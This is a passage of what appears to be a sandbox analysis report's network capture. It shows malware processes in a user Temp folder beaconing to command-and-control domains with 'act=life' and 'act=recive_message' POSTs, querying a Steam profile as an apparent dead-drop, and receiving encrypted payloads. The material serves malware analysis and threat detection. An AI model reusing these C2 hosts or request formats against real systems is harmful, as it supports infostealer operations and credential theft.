bb 35 e8 3c 77 56 61 50 9e f2 3e 61 4d 44 7e 2a b3 cb 63 b5 f1 8b ce 73 3d e8 94 20 42 49 44 48 03 14 d8 b2 93 f5 38 6f d7 1a a4 62 31 cc 52 d0 fa Data Ascii: 9/}tVU.}V\|l)HBObyZE?/\h"s?wR8wb:WqOPXS{t<I3"_G\|\|PGQ1@y&>.N@#QPsDx5<wVaP>aMD~*cs= BIDH8ob1R
2024-12-18 11:00:51 UTC	1048	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:00:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=updhnabokvclbfjamqb7bfvla4; expires=Sun, 13-Apr-2025 04:47:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bjz8eo%2FzBgXKmMSOtztwWg8aE57vbl1cVXl%2Bjnq1aR4DlZyLhUb3ANPEHd3jeQckypwW1L1TPf8SHJO7IY4xP708BJe%2BJUQMf7IFknlvdF3%2Fnkvjqwrl8nNtUJeupIfTTwwmhl4U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea6b19de9728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1926&min_rtt=1926&rtt_var=723&sent=339&recv=622&lost=0&retrans=0&sent_bytes=2848&recv_bytes=590666&delivery_rate=1513737&cwnd=157&unsent_bytes=0&cid=4f9ecbc4d1b33889&ts=4755&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50044	104.21.32.1	443	3200	C:\Users\user\AppData\Local\Temp\1006343001\goldddd123.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:04 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: energyaffai.lat
2024-12-18 11:01:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 11:01:05 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7f9tvs195nq2lc07fk0pt6icte; expires=Sun, 13-Apr-2025 04:47:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=20lr6WOBLzm5aJ%2FjnzrIjeAHapqcpq%2BNJ6iuKSVYax6i2py4r0ZxhuuJRVcLRhJj9G4bcQyCUKn32G2IIoiI1bevxmkyGKaDL%2F0XeKwbv1dMvshEVK6ABVP2h2JQUDcTKyI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea71f2f37c327-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1652&min_rtt=1650&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1748502&cwnd=189&unsent_bytes=0&cid=06910624fa749498&ts=1596&x=0"
2024-12-18 11:01:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 11:01:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50068	23.55.153.106	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:23 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-18 11:01:24 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Wed, 18 Dec 2024 11:01:23 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=898b4d7e7955e9df31d6f6e6; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-18 11:01:24 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-18 11:01:24 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-18 11:01:24 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50071	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-18 11:01:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 11:01:27 UTC	1033	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qn4tnd9a2cvv8mas94t1rjoa79; expires=Sun, 13-Apr-2025 04:48:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nVw01SW8VcKIwGoVFixEs0VyCZKCfHWYPNguxoMNjCS4cd0j%2ByTzmJtCMFx1%2BUepQQQL9rGlXq6VoZt49IX5GoUvw5JVa8yy18tPtj7tRpyJulM1TGua1jEh1TzOKdLTqF8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea7a5a8a22361-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1895&min_rtt=1892&rtt_var=717&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1519250&cwnd=238&unsent_bytes=0&cid=e3c2aae66a89464e&ts=2056&x=0"
2024-12-18 11:01:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 11:01:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50078	172.67.157.254	443	7976	C:\Users\user\AppData\Local\Temp\1005242001\v_dolg.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 11:01:30 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: lev-tolstoi.com
2024-12-18 11:01:30 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 37 54 6c 36 4d 6b 2d 2d 6c 65 67 65 6e 67 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=7Tl6Mk--legeng&j=
2024-12-18 11:01:34 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 11:01:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dv9ahrdp0eo0dg563r5e9a80an; expires=Sun, 13-Apr-2025 04:48:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CKDI414A2jGd3GbtRX%2Bl9Nk9z9av%2Fu6WQvGuAN3Vkl%2Fr8iLxj6n2vDLBipycFdAa8asWtgyDYDCNq5MQuXNVrO8bX7FvlPtp370tIMAZNRWN5QLS8s9wrUQMSoPqQr87Lnw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f3ea7c1be644297-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1667&min_rtt=1663&rtt_var=633&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=947&delivery_rate=1717647&cwnd=245&unsent_bytes=0&cid=dfc0c53f0e9a8780&ts=3756&x=0"
2024-12-18 11:01:34 UTC	334	IN	Data Raw: 34 64 61 0d 0a 6c 72 6a 69 42 53 6a 66 7a 73 75 49 39 7a 55 6c 47 51 41 6c 6a 4b 36 72 71 56 35 76 68 61 66 67 78 2b 4e 50 64 42 78 73 47 48 48 74 6d 70 51 6e 45 75 76 69 36 66 75 53 46 78 39 74 63 6c 44 70 67 6f 6e 49 4f 6b 32 2f 77 59 47 72 6b 43 70 59 50 68 70 31 55 36 7a 65 67 32 6c 62 75 75 4c 70 37 59 38 58 48 30 4a 37 42 2b 6e 41 69 5a 4e 38 43 75 2f 46 67 61 75 42 4c 68 39 7a 48 48 51 53 2f 74 53 46 62 55 32 38 71 71 72 6b 6d 6c 42 41 66 47 46 50 34 73 66 47 77 54 4e 4e 71 59 57 46 76 63 46 31 56 6c 45 4a 62 42 44 62 32 5a 46 75 43 71 4c 69 73 4b 71 53 57 77 63 6a 49 6b 54 70 7a 4d 66 50 4f 67 54 74 7a 34 69 6a 67 43 73 65 62 41 56 2b 47 66 37 61 68 6d 78 48 74 62 36 6e 37 70 31 62 52 6e 5a 68 42 36 43 4d 7a 74 4e 38 56 61 65 57 73 4b 61 51 50 41 Data Ascii: 4dalrjiBSjfzsuI9zUlGQAljK6rqV5vhafgx+NPdBxsGHHtmpQnEuvi6fuSFx9tclDpgonIOk2/wYGrkCpYPhp1U6zeg2lbuuLp7Y8XH0J7B+nAiZN8Cu/FgauBLh9zHHQS/tSFbU28qqrkmlBAfGFP4sfGwTNNqYWFvcF1VlEJbBDb2ZFuCqLisKqSWwcjIkTpzMfPOgTtz4ijgCsebAV+Gf7ahmxHtb6n7p1bRnZhB6CMztN8VaeWsKaQPA
2024-12-18 11:01:34 UTC	915	IN	Data Raw: 4a 50 6c 6e 6d 4d 50 50 67 6c 32 55 36 79 61 68 6d 6c 4c 73 4b 79 37 34 70 35 63 51 6d 6c 70 54 75 50 42 79 63 59 32 41 75 54 46 68 61 2b 4c 49 68 78 36 41 33 63 56 39 4e 72 41 4b 51 71 36 74 4f 6d 79 31 58 52 43 61 32 56 4c 2b 49 37 7a 69 79 4e 44 2f 6f 57 46 71 63 46 31 56 6e 59 4c 65 52 44 2f 31 59 4e 76 51 61 2b 73 75 2b 79 59 55 6c 56 39 5a 30 6e 6b 7a 39 76 42 4d 67 76 6b 7a 49 6d 73 68 43 6f 53 50 6b 41 36 46 4f 79 61 32 43 64 72 73 4b 65 6c 34 49 4a 58 42 32 51 73 58 71 37 4c 78 59 74 6b 54 65 50 45 68 71 53 46 49 78 68 36 41 6e 77 64 2b 64 57 47 62 55 71 36 70 71 48 69 6c 46 70 4d 64 47 4a 43 34 38 6a 50 78 7a 30 49 70 34 76 43 6f 70 6c 74 54 6a 34 67 66 52 44 6d 6d 4c 56 6b 52 4c 4f 72 76 36 71 4b 47 56 34 37 5a 55 75 75 6c 49 6e 46 4f 51 4c 31 Data Ascii: JPlnmMPPgl2U6yahmlLsKy74p5cQmlpTuPBycY2AuTFha+LIhx6A3cV9NrAKQq6tOmy1XRCa2VL+I7ziyND/oWFqcF1VnYLeRD/1YNvQa+su+yYUlV9Z0nkz9vBMgvkzImshCoSPkA6FOya2CdrsKel4IJXB2QsXq7LxYtkTePEhqSFIxh6Anwd+dWGbUq6pqHilFpMdGJC48jPxz0Ip4vCopltTj4gfRDmmLVkRLOrv6qKGV47ZUuulInFOQL1
2024-12-18 11:01:34 UTC	1369	IN	Data Raw: 31 38 34 34 0d 0a 52 4b 74 36 4b 6d 34 4a 31 66 52 33 5a 6a 54 4f 62 4b 78 4d 41 7a 41 75 44 4e 67 61 6d 45 49 42 55 2b 51 44 6f 55 37 4a 72 59 4a 32 2b 7a 72 37 6a 37 31 32 4a 45 64 57 78 41 2b 49 7a 57 68 53 56 4e 34 4d 6e 43 2f 63 45 6e 45 58 6b 4b 64 78 6e 33 33 6f 52 71 52 62 53 6c 6f 50 69 66 57 30 6c 70 62 30 33 72 77 73 58 4f 4d 77 33 6d 78 49 79 76 69 6d 31 59 50 67 6c 69 55 36 79 61 72 32 70 61 72 36 61 69 2b 39 64 69 52 48 56 73 51 50 69 4d 31 6f 55 6c 54 65 44 4a 77 76 33 42 4a 68 42 79 41 6e 6f 56 35 74 53 50 64 55 43 76 71 4b 66 75 6d 56 6c 4f 64 6d 31 43 2f 4d 6a 4a 32 54 30 49 34 4d 75 50 74 34 52 74 57 44 34 4a 59 6c 4f 73 6d 72 70 54 54 61 32 39 72 71 69 67 56 45 6c 31 5a 56 47 75 30 34 66 53 66 41 72 72 68 64 72 6c 67 69 45 62 64 77 74 Data Ascii: 1844RKt6Km4J1fR3ZjTObKxMAzAuDNgamEIBU+QDoU7JrYJ2+zr7j712JEdWxA+IzWhSVN4MnC/cEnEXkKdxn33oRqRbSloPifW0lpb03rwsXOMw3mxIyvim1YPgliU6yar2par6ai+9diRHVsQPiM1oUlTeDJwv3BJhByAnoV5tSPdUCvqKfumVlOdm1C/MjJ2T0I4MuPt4RtWD4JYlOsmrpTTa29rqigVEl1ZVGu04fSfArrhdrlgiEbdwt
2024-12-18 11:01:34 UTC	1369	IN	Data Raw: 74 67 6e 51 4b 2b 70 70 2b 36 66 55 6b 4e 33 61 45 66 72 33 73 48 4e 4f 77 48 76 77 49 32 6a 68 43 41 52 64 51 31 6f 41 66 66 65 6a 6d 73 4b 38 2b 79 75 38 74 55 50 42 31 35 31 52 50 37 4b 79 6f 73 6a 51 2f 36 46 68 61 6e 42 64 56 5a 2b 41 48 59 59 38 39 47 4c 59 30 36 39 6f 61 4c 6b 6d 31 35 4c 63 32 35 41 2f 4d 48 4d 77 7a 59 45 34 73 6d 50 70 70 4d 75 46 7a 35 41 4f 68 54 73 6d 74 67 6e 62 59 36 62 69 71 71 4b 47 56 34 37 5a 55 75 75 6c 49 6e 4b 4e 41 72 70 77 5a 43 72 6b 79 4d 52 66 67 68 79 47 2f 50 57 6a 6d 6c 59 74 61 32 70 35 4a 70 66 54 6e 39 6a 51 2b 72 41 7a 6f 74 79 54 65 44 64 77 76 33 42 42 52 56 6b 46 44 67 39 2f 39 71 48 64 31 79 6d 37 4c 61 6b 6a 42 64 41 64 79 49 66 72 73 6a 43 77 54 55 4f 37 73 47 50 70 59 67 69 48 33 59 44 63 67 48 31 Data Ascii: tgnQK+pp+6fUkN3aEfr3sHNOwHvwI2jhCARdQ1oAffejmsK8+yu8tUPB151RP7KyosjQ/6FhanBdVZ+AHYY89GLY069oaLkm15Lc25A/MHMwzYE4smPppMuFz5AOhTsmtgnbY6biqqKGV47ZUuulInKNArpwZCrkyMRfghyG/PWjmlYta2p5JpfTn9jQ+rAzotyTeDdwv3BBRVkFDg9/9qHd1ym7LakjBdAdyIfrsjCwTUO7sGPpYgiH3YDcgH1
2024-12-18 11:01:34 UTC	1369	IN	Data Raw: 69 36 6f 4b 50 6c 6c 6c 39 4b 65 47 70 56 37 73 48 4a 32 53 34 4c 37 4d 76 43 36 38 45 71 44 6a 35 57 4f 69 4c 6a 30 63 42 34 42 4b 54 73 72 75 62 56 44 77 64 34 61 45 72 67 33 73 33 4e 4e 77 37 70 7a 59 65 74 68 53 63 62 63 51 56 77 47 76 7a 61 6a 32 4a 43 74 71 71 6e 36 35 4e 62 53 6a 73 73 42 2b 6e 55 69 5a 4e 38 4b 76 33 49 68 4c 4b 51 47 42 46 2b 58 7a 6f 4d 75 73 50 41 59 45 62 39 39 4f 6e 6e 6d 56 31 4b 66 6d 5a 50 36 63 2f 49 78 7a 67 41 36 73 47 4c 6f 59 51 2f 42 48 67 41 65 68 7a 36 31 59 78 31 52 4c 69 73 70 61 72 62 46 30 42 6a 49 68 2b 75 2f 64 37 4c 66 42 4b 70 33 4d 4b 69 6a 57 31 4f 50 67 46 33 41 66 6a 56 67 47 5a 4a 75 61 65 75 37 4a 4e 57 52 48 35 68 51 75 6a 4e 79 63 63 32 43 75 2f 50 6a 4b 69 48 4b 52 42 34 54 6a 52 54 38 38 4c 41 50 Data Ascii: i6oKPlll9KeGpV7sHJ2S4L7MvC68EqDj5WOiLj0cB4BKTsrubVDwd4aErg3s3NNw7pzYethScbcQVwGvzaj2JCtqqn65NbSjssB+nUiZN8Kv3IhLKQGBF+XzoMusPAYEb99OnnmV1KfmZP6c/IxzgA6sGLoYQ/BHgAehz61Yx1RLisparbF0BjIh+u/d7LfBKp3MKijW1OPgF3AfjVgGZJuaeu7JNWRH5hQujNycc2Cu/PjKiHKRB4TjRT88LAP
2024-12-18 11:01:34 UTC	1369	IN	Data Raw: 6e 37 70 4a 58 53 33 52 6c 54 2b 48 49 79 63 52 38 51 36 66 43 6d 75 58 5a 62 54 5a 31 47 46 73 64 2f 38 6a 41 65 41 53 6b 37 4b 37 6d 31 51 38 48 64 57 74 47 35 73 4c 46 77 7a 67 66 35 38 36 4c 71 6f 41 69 46 6e 30 50 63 42 76 6d 33 49 42 73 51 72 71 6b 72 65 53 48 56 6b 67 37 4c 41 66 70 31 49 6d 54 66 44 7a 78 77 6f 57 71 77 77 51 52 5a 51 39 77 45 50 2f 57 77 48 67 45 70 4f 79 75 35 74 55 50 42 33 5a 75 53 75 72 65 78 63 73 38 42 4f 44 50 6b 4b 71 4f 49 42 56 2b 43 32 67 53 35 74 57 4c 59 6b 6d 35 6f 36 62 6d 6e 56 30 48 4e 53 4a 41 39 6f 79 52 69 78 41 4f 39 73 2f 41 67 70 73 37 45 58 49 66 63 52 37 34 6d 70 38 70 55 2f 32 72 70 61 72 4e 46 30 64 36 62 31 58 72 7a 63 50 42 4d 51 58 6f 77 49 65 71 68 53 6b 64 63 42 78 30 48 50 54 63 69 32 5a 50 76 71 Data Ascii: n7pJXS3RlT+HIycR8Q6fCmuXZbTZ1GFsd/8jAeASk7K7m1Q8HdWtG5sLFwzgf586LqoAiFn0PcBvm3IBsQrqkreSHVkg7LAfp1ImTfDzxwoWqwwQRZQ9wEP/WwHgEpOyu5tUPB3ZuSurexcs8BODPkKqOIBV+C2gS5tWLYkm5o6bmnV0HNSJA9oyRixAO9s/Agps7EXIfcR74mp8pU/2rparNF0d6b1XrzcPBMQXowIeqhSkdcBx0HPTci2ZPvq
2024-12-18 11:01:34 UTC	744	IN	Data Raw: 57 6b 78 2f 61 30 4c 6d 7a 38 7a 4f 4e 67 48 72 78 49 71 73 69 79 67 54 65 41 52 35 48 66 76 62 6a 47 4e 44 73 36 58 70 70 4e 56 51 58 7a 73 36 42 39 6a 63 7a 74 4d 78 48 61 58 33 67 62 53 51 4f 42 74 75 43 44 67 38 39 39 61 44 59 6b 32 74 37 4c 61 6b 6a 42 64 41 64 79 49 66 72 73 7a 4e 78 7a 38 4b 36 63 71 50 71 6f 59 6d 47 58 51 41 61 42 7a 78 30 6f 78 76 52 36 2b 6d 6f 2f 69 63 58 6b 70 31 61 6c 58 74 6a 49 65 4c 4f 78 57 6e 6e 63 4b 58 69 79 34 61 61 41 4e 31 55 2b 75 55 6d 53 64 4e 73 65 7a 78 71 6f 64 46 52 33 42 69 51 4f 44 65 79 4d 4d 7a 42 2b 66 44 69 61 2b 43 4a 42 4a 77 42 33 77 53 2b 64 75 42 5a 30 2b 39 70 62 76 6e 31 52 6b 48 66 48 6f 48 74 6f 7a 2b 78 7a 63 38 35 4e 50 43 75 73 38 30 56 6e 6b 43 4f 6b 75 30 32 35 4a 71 51 72 6d 73 70 4f 79 Data Ascii: Wkx/a0Lmz8zONgHrxIqsiygTeAR5HfvbjGNDs6XppNVQXzs6B9jcztMxHaX3gbSQOBtuCDg899aDYk2t7LakjBdAdyIfrszNxz8K6cqPqoYmGXQAaBzx0oxvR6+mo/icXkp1alXtjIeLOxWnncKXiy4aaAN1U+uUmSdNsezxqodFR3BiQODeyMMzB+fDia+CJBJwB3wS+duBZ0+9pbvn1RkHfHoHtoz+xzc85NPCus80VnkCOku025JqQrmspOy
2024-12-18 11:01:34 UTC	1369	IN	Data Raw: 38 30 36 0d 0a 43 42 71 34 38 71 41 47 39 44 58 51 6e 35 33 4a 64 32 43 76 50 73 72 36 72 4e 42 77 6b 37 5a 6c 61 75 6c 4a 6d 5a 5a 31 69 30 6b 74 4c 33 6e 6d 4d 50 50 68 67 36 53 36 61 55 77 48 55 4b 35 65 7a 75 36 59 64 46 51 58 68 30 52 4b 6e 79 39 2b 55 37 43 2b 4c 43 6b 75 65 76 4a 67 4a 35 54 6a 52 54 2b 35 72 59 58 67 72 31 37 4a 61 6b 31 55 38 48 49 79 4a 79 37 63 4c 48 7a 43 6f 63 71 75 75 46 6f 34 51 71 42 6a 77 67 63 51 66 7a 6d 73 34 6e 54 50 33 30 2b 61 54 56 55 31 59 37 4f 68 65 38 6c 35 79 59 61 31 32 31 32 73 79 38 77 54 74 57 4a 6c 77 30 55 2b 61 61 32 43 63 4e 76 72 36 37 37 4a 5a 42 52 44 78 63 65 65 33 61 78 4d 51 33 44 4e 6e 37 72 4b 69 41 4c 68 67 38 50 32 77 65 35 4e 6d 46 59 48 53 44 6f 71 37 2b 6b 6c 6c 42 65 79 49 4a 72 73 4f 4a Data Ascii: 806CBq48qAG9DXQn53Jd2CvPsr6rNBwk7ZlaulJmZZ1i0ktL3nmMPPhg6S6aUwHUK5ezu6YdFQXh0RKny9+U7C+LCkuevJgJ5TjRT+5rYXgr17Jak1U8HIyJy7cLHzCocquuFo4QqBjwgcQfzms4nTP30+aTVU1Y7Ohe8l5yYa1212sy8wTtWJlw0U+aa2CcNvr677JZBRDxcee3axMQ3DNn7rKiALhg8P2we5NmFYHSDoq7+kllBeyIJrsOJ
2024-12-18 11:01:34 UTC	692	IN	Data Raw: 66 42 6b 2b 58 5a 66 55 51 6c 57 79 6c 45 70 49 69 66 4b 56 50 39 75 75 6d 79 78 78 6b 48 61 53 49 66 72 6f 76 4b 32 53 34 4c 35 4e 4f 42 34 72 38 54 4d 58 41 4a 65 77 58 6b 31 34 78 47 53 61 79 6d 6c 39 53 41 56 45 6c 31 5a 56 48 2f 6a 49 65 4c 4d 30 32 2f 2f 4d 4c 74 77 52 4a 59 50 68 59 36 53 37 54 76 67 32 6c 45 75 72 71 34 70 37 4a 5a 51 48 70 30 56 2b 50 41 36 4d 67 74 42 36 65 4c 77 71 50 42 64 55 51 77 54 6e 34 43 74 49 4c 51 4e 52 48 6f 2f 2f 36 36 78 30 67 4a 59 69 4a 52 72 70 53 62 68 58 77 66 70 35 33 43 34 6f 49 2f 42 48 67 4e 62 42 43 7a 35 4c 35 43 58 62 36 38 72 2b 6d 72 61 57 78 33 5a 45 44 30 79 38 2f 74 48 45 32 70 68 59 33 6c 32 52 52 57 4e 6b 35 46 58 62 54 43 77 44 38 4b 69 4b 2b 6e 35 4a 4a 42 56 6a 5a 48 55 4f 33 63 7a 38 68 38 51 Data Ascii: 